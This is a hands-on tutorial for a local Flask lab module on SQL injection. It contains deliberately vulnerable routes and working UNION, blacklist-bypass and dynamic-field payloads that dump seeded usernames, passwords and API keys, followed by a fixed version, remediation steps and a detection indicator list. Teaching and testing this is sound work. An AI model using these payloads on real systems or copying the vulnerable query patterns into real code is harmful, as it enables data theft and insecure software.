Example | Operator On The Wire

This example uses the shared Flask lab.

We plug SQLi in as the sixth web module.

Complete the Chapter III Introduction setup first. The base app.py, schema.sql, seed.sql, and database.db must already exist.

The flow is:

create modules/sqli.py
register the blueprint in app.py
restart Flask
visit /sqli/basic

The SQLi module provides four pages:

/sqli/basic
/sqli/blacklist
/sqli/better
/sqli/fixed

Plug In The Module

From the lab directory (disregard if you have already done this):

cd ~/ootw-web-lab
source .venv/bin/activate
mkdir -p modules
touch modules/__init__.py

Create modules/sqli.py:

cat > modules/sqli.py <<'EOF'
import sqlite3

from flask import Blueprint, abort, redirect, render_template_string, request

from app import get_db


bp = Blueprint("sqli", __name__, url_prefix="/sqli")

FIELD_MAP = {
    "name": "p.name",
    "description": "p.description",
    "owner": "u.username",
}


PAGE = """
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>{{ title }}</title>
    <style>
        body { font-family: system-ui, sans-serif; max-width: 1000px; margin: 40px auto; line-height: 1.5; }
        nav a { margin-right: 12px; }
        label { display: block; margin-top: 12px; }
        input, select { width: 100%; padding: 7px; box-sizing: border-box; }
        button { margin-top: 12px; padding: 7px 10px; }
        table { border-collapse: collapse; width: 100%; margin-top: 18px; }
        th, td { border: 1px solid #ccc; padding: 8px; text-align: left; vertical-align: top; }
        pre { background: #111; color: #eee; padding: 12px; overflow-x: auto; white-space: pre-wrap; }
        code { background: #eee; padding: 2px 4px; }
    </style>
</head>
<body>
    <h1>{{ title }}</h1>

    <nav>
        <a href="/sqli/basic?q=Signal">basic</a>
        <a href="/sqli/blacklist?q=Signal">blacklist</a>
        <a href="/sqli/better?q=Signal&field=name">better</a>
        <a href="/sqli/fixed?q=Signal&field=name">fixed</a>
        <a href="/sqli/audit">audit</a>
    </nav>

    <p>{{ description }}</p>

    <form method="get" action="/sqli/{{ stage }}">
        <label for="q">Search</label>
        <input id="q" name="q" value="{{ q }}">

        {% if show_field %}
        <label for="field">Display Field</label>
        <input id="field" name="field" value="{{ field }}">
        {% endif %}

        <button type="submit">Search</button>
    </form>

    <h2>SQL</h2>
    <pre>{{ sql }}</pre>

    {% if error %}
    <h2>Error</h2>
    <pre>{{ error }}</pre>
    {% endif %}

    <h2>Rows</h2>
    <table>
        <tr>
            <th>ID</th>
            <th>Display</th>
            <th>Description</th>
            <th>Owner</th>
        </tr>
        {% for row in rows %}
        <tr>
            <td>{{ row["id"] }}</td>
            <td>{{ row["display_value"] }}</td>
            <td>{{ row["description"] }}</td>
            <td>{{ row["owner_username"] }}</td>
        </tr>
        {% else %}
        <tr>
            <td colspan="4">No rows.</td>
        </tr>
        {% endfor %}
    </table>
</body>
</html>
"""


AUDIT_PAGE = """
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>SQLi Audit</title>
</head>
<body>
    <h1>SQLi Audit</h1>
    <p>This page shows recent SQL query events from the local lab.</p>
    <p><a href="/sqli/basic?q=Signal">back to SQLi lab</a></p>

    {% for event in events %}
    <article>
        <p><strong>{{ event["event_type"] }}</strong> - {{ event["username"] }}</p>
        <pre>{{ event["detail"] }}</pre>
        <small>{{ event["created_at"] }}</small>
    </article>
    {% else %}
    <p>No SQLi events yet.</p>
    {% endfor %}
</body>
</html>
"""


def execute_query(sql, params=()):
    db = get_db()
    try:
        rows = db.execute(sql, params).fetchall()
        return rows, None
    except sqlite3.Error as error:
        return [], str(error)


def log_query(stage, q, field, sql, error):
    detail = (
        f"stage={stage} "
        f"q={q} "
        f"field={field} "
        f"error={error or 'none'} "
        f"sql={sql[:800]}"
    )

    db = get_db()
    db.execute(
        """
        INSERT INTO audit_log (event_type, username, detail)
        VALUES (?, ?, ?)
        """,
        (f"sqli-{stage}", "operator", detail),
    )
    db.commit()


def render_lab(stage, title, description, q, field, sql, rows, error, show_field=False):
    return render_template_string(
        PAGE,
        stage=stage,
        title=title,
        description=description,
        q=q,
        field=field,
        sql=sql,
        rows=rows,
        error=error,
        show_field=show_field,
    )


def weak_blacklist(value):
    blocked = [" union ", " select ", ";"]
    for item in blocked:
        if item in value:
            abort(400)
    return value


@bp.get("/")
def index():
    return redirect("/sqli/basic?q=Signal")


@bp.get("/basic")
def basic():
    q = request.args.get("q", "")
    sql = f"""
        SELECT p.id, p.name AS display_value, p.description, u.username AS owner_username
        FROM products p
        JOIN users u ON u.id = p.owner_id
        WHERE p.name LIKE '%{q}%'
        ORDER BY p.id
    """
    rows, error = execute_query(sql)
    log_query("basic", q, "name", sql, error)

    return render_lab(
        "basic",
        "SQLi Basic",
        "The route builds a SQL query by placing the search parameter directly into the string.",
        q,
        "name",
        sql,
        rows,
        error,
    )


@bp.get("/blacklist")
def blacklist():
    q = request.args.get("q", "")
    filtered_q = weak_blacklist(q)
    sql = f"""
        SELECT p.id, p.name AS display_value, p.description, u.username AS owner_username
        FROM products p
        JOIN users u ON u.id = p.owner_id
        WHERE p.name LIKE '%{filtered_q}%'
        ORDER BY p.id
    """
    rows, error = execute_query(sql)
    log_query("blacklist", filtered_q, "name", sql, error)

    return render_lab(
        "blacklist",
        "SQLi Weak Blacklist",
        "The route blocks a few exact strings, then still builds SQL with string formatting.",
        q,
        "name",
        sql,
        rows,
        error,
    )


@bp.get("/better")
def better():
    q = request.args.get("q", "")
    field = request.args.get("field", "name")
    sql = f"""
        SELECT p.id, {field} AS display_value, p.description, u.username AS owner_username
        FROM products p
        JOIN users u ON u.id = p.owner_id
        WHERE p.name LIKE ?
        ORDER BY p.id
    """
    rows, error = execute_query(sql, (f"%{q}%",))
    log_query("better", q, field, sql, error)

    return render_lab(
        "better",
        "SQLi Better Parameterized Search",
        "The search value is parameterized, but the display field is still interpolated into SQL.",
        q,
        field,
        sql,
        rows,
        error,
        show_field=True,
    )


@bp.get("/fixed")
def fixed():
    q = request.args.get("q", "")
    field = request.args.get("field", "name")
    safe_field = FIELD_MAP.get(field)

    if safe_field is None:
        log_query("fixed", q, field, "blocked by field allowlist", "blocked-field")
        abort(400)

    sql = f"""
        SELECT p.id, {safe_field} AS display_value, p.description, u.username AS owner_username
        FROM products p
        JOIN users u ON u.id = p.owner_id
        WHERE p.name LIKE ?
        ORDER BY p.id
    """
    rows, error = execute_query(sql, (f"%{q}%",))
    log_query("fixed", q, field, sql, error)

    return render_lab(
        "fixed",
        "SQLi Fixed",
        "The route parameterizes values and maps dynamic fields through a strict allowlist.",
        q,
        field,
        sql,
        rows,
        error,
        show_field=True,
    )


@bp.get("/audit")
def audit():
    db = get_db()
    events = db.execute(
        """
        SELECT event_type, username, detail, created_at
        FROM audit_log
        WHERE event_type LIKE 'sqli-%'
        ORDER BY id DESC
        LIMIT 30
        """
    ).fetchall()
    return render_template_string(AUDIT_PAGE, events=events)
EOF

Now register the module in app.py.

Add this near the bottom of app.py, after the route definitions and before the if __name__ == "__main__": block:

from modules.sqli import bp as sqli_bp
app.register_blueprint(sqli_bp)

If the earlier web modules are already plugged in, keep those lines and add SQLi below them:

from modules.xss import bp as xss_bp
app.register_blueprint(xss_bp)

from modules.idor import bp as idor_bp
app.register_blueprint(idor_bp)

from modules.command_injection import bp as command_injection_bp
app.register_blueprint(command_injection_bp)

from modules.file_uploads import bp as file_uploads_bp
app.register_blueprint(file_uploads_bp)

from modules.lfi import bp as lfi_bp
app.register_blueprint(lfi_bp)

from modules.sqli import bp as sqli_bp
app.register_blueprint(sqli_bp)

Run the app:

flask --app app run --host 127.0.0.1 --port 5000

Confirm the module is live:

curl -i "http://127.0.0.1:5000/sqli/basic?q=Signal"

Basic Vulnerability

Open:

http://127.0.0.1:5000/sqli/basic?q=Signal

This page places the q parameter directly into SQL:

WHERE p.name LIKE '%{q}%'

Normal request:

curl -i "http://127.0.0.1:5000/sqli/basic?q=Signal"

Exploit SQLite version disclosure:

curl -i --get "http://127.0.0.1:5000/sqli/basic" \
  --data-urlencode "q=nope' UNION SELECT 1,sqlite_version(),'x','y'-- "

The database receives a query shaped like:

WHERE p.name LIKE '%nope'
UNION SELECT 1,sqlite_version(),'x','y'-- %'

The SQLite version appears in the Display column.

Exploit seeded user data:

curl -i --get "http://127.0.0.1:5000/sqli/basic" \
  --data-urlencode "q=nope' UNION SELECT id,username,password,api_key FROM users-- "

The response should include seeded usernames, passwords, and API keys.

This proves visible UNION-based SQL injection.

Basic Protection - Weak Blacklist

Open:

http://127.0.0.1:5000/sqli/blacklist?q=Signal

This page blocks a few exact strings:

blocked = [" union ", " select ", ";"]

That damages simple lowercase payloads.

It does not make the query safe.

Bypass with uppercase keywords and inline comments:

curl -i --get "http://127.0.0.1:5000/sqli/blacklist" \
  --data-urlencode "q=nope'/**/UNION/**/SELECT/**/id,username,password,api_key/**/FROM/**/users-- "

The filter misses the payload because it looks for exact lowercase strings with spaces.

The query is still built with string formatting, so SQL code still reaches the database.

Better Protection - Parameterized Search

Open:

http://127.0.0.1:5000/sqli/better?q=Signal&field=name

This page parameterizes the search value:

WHERE p.name LIKE ?

The old q payload becomes plain text:

curl -i --get "http://127.0.0.1:5000/sqli/better" \
  --data-urlencode "q=' UNION SELECT id,username,password,api_key FROM users-- " \
  --data-urlencode "field=name"

The search value is fixed, but the route still interpolates a second parameter into SQL:

SELECT p.id, {field} AS display_value

Exploit the dynamic field:

curl -i --get "http://127.0.0.1:5000/sqli/better" \
  --data-urlencode "q=Signal" \
  --data-urlencode "field=(SELECT group_concat(username || ':' || password, char(10)) FROM users)"

The output shows user data in the Display column.

This is a common SQLi remediation failure: values get parameterized, but dynamic SQL structure remains attacker-controlled.

![[Chapter III - Web/6. SQLi/Exploit.png]]

Fixed Version

Open:

http://127.0.0.1:5000/sqli/fixed?q=Signal&field=name

The fixed page does two things:

It parameterizes the search value.
It maps the dynamic field through a strict allowlist.

The safe field map:

FIELD_MAP = {
    "name": "p.name",
    "description": "p.description",
    "owner": "u.username",
}

Run a normal request:

curl -i "http://127.0.0.1:5000/sqli/fixed?q=Signal&field=name"

Run the dynamic-field exploit:

curl -i --get "http://127.0.0.1:5000/sqli/fixed" \
  --data-urlencode "q=Signal" \
  --data-urlencode "field=(SELECT group_concat(username || ':' || password, char(10)) FROM users)"

Expected:

400 Bad Request

The request no longer controls SQL structure.

Local Impact Proof

Use the vulnerable route to prove database data extraction:

curl -i --get "http://127.0.0.1:5000/sqli/basic" \
  --data-urlencode "q=nope' UNION SELECT id,username,password,api_key FROM users-- "

Then view:

http://127.0.0.1:5000/sqli/audit

The audit page shows the stage, input, error state, and query shape.

This proves the useful impact:

stage=basic
q=nope' UNION SELECT id,username,password,api_key FROM users--
error=none

The application did not need XSS, LFI, or command execution. It handed user input to the database as SQL code.

Remediation

Patch SQL injection by controlling both values and SQL structure:

Use parameterized queries for all user-controlled values.
Use strict allowlists for dynamic identifiers such as report fields, sort columns, and table names.
Avoid string formatting for SQL that contains request data.
Keep raw SQL behind review when using an ORM.
Run the application with least-privileged database permissions.
Disable verbose SQL errors in user-facing responses.
Store passwords as hashes, not plain text.
Keep API keys and reset tokens out of result sets unless the feature needs them.

Safe value pattern:

rows = db.execute(sql, (f"%{q}%",)).fetchall()

Safe dynamic field pattern:

safe_field = FIELD_MAP.get(field)
if safe_field is None:
    abort(400)

Parameters protect values. All user-controlled SQL structure needs allowlists.

Detection

Useful signals include:

SQL syntax errors after quote characters.
Requests containing UNION, SELECT, sqlite_master, or comment markers.
Encoded quote characters such as %27.
Repeated true/false request pairs.
Sudden spikes in 500 responses on search, login, filter, or report endpoints.
Inputs containing dynamic SQL expressions in sort or field parameters.
Access to unusual tables or high-volume reads from sensitive tables.

Useful payload indicators:

'
%27
UNION
SELECT
sqlite_master
information_schema
-- -
/**/
group_concat
SLEEP(
pg_sleep
WAITFOR DELAY

Detection is not the fix. It tells us where query boundaries are being tested and which controls failed.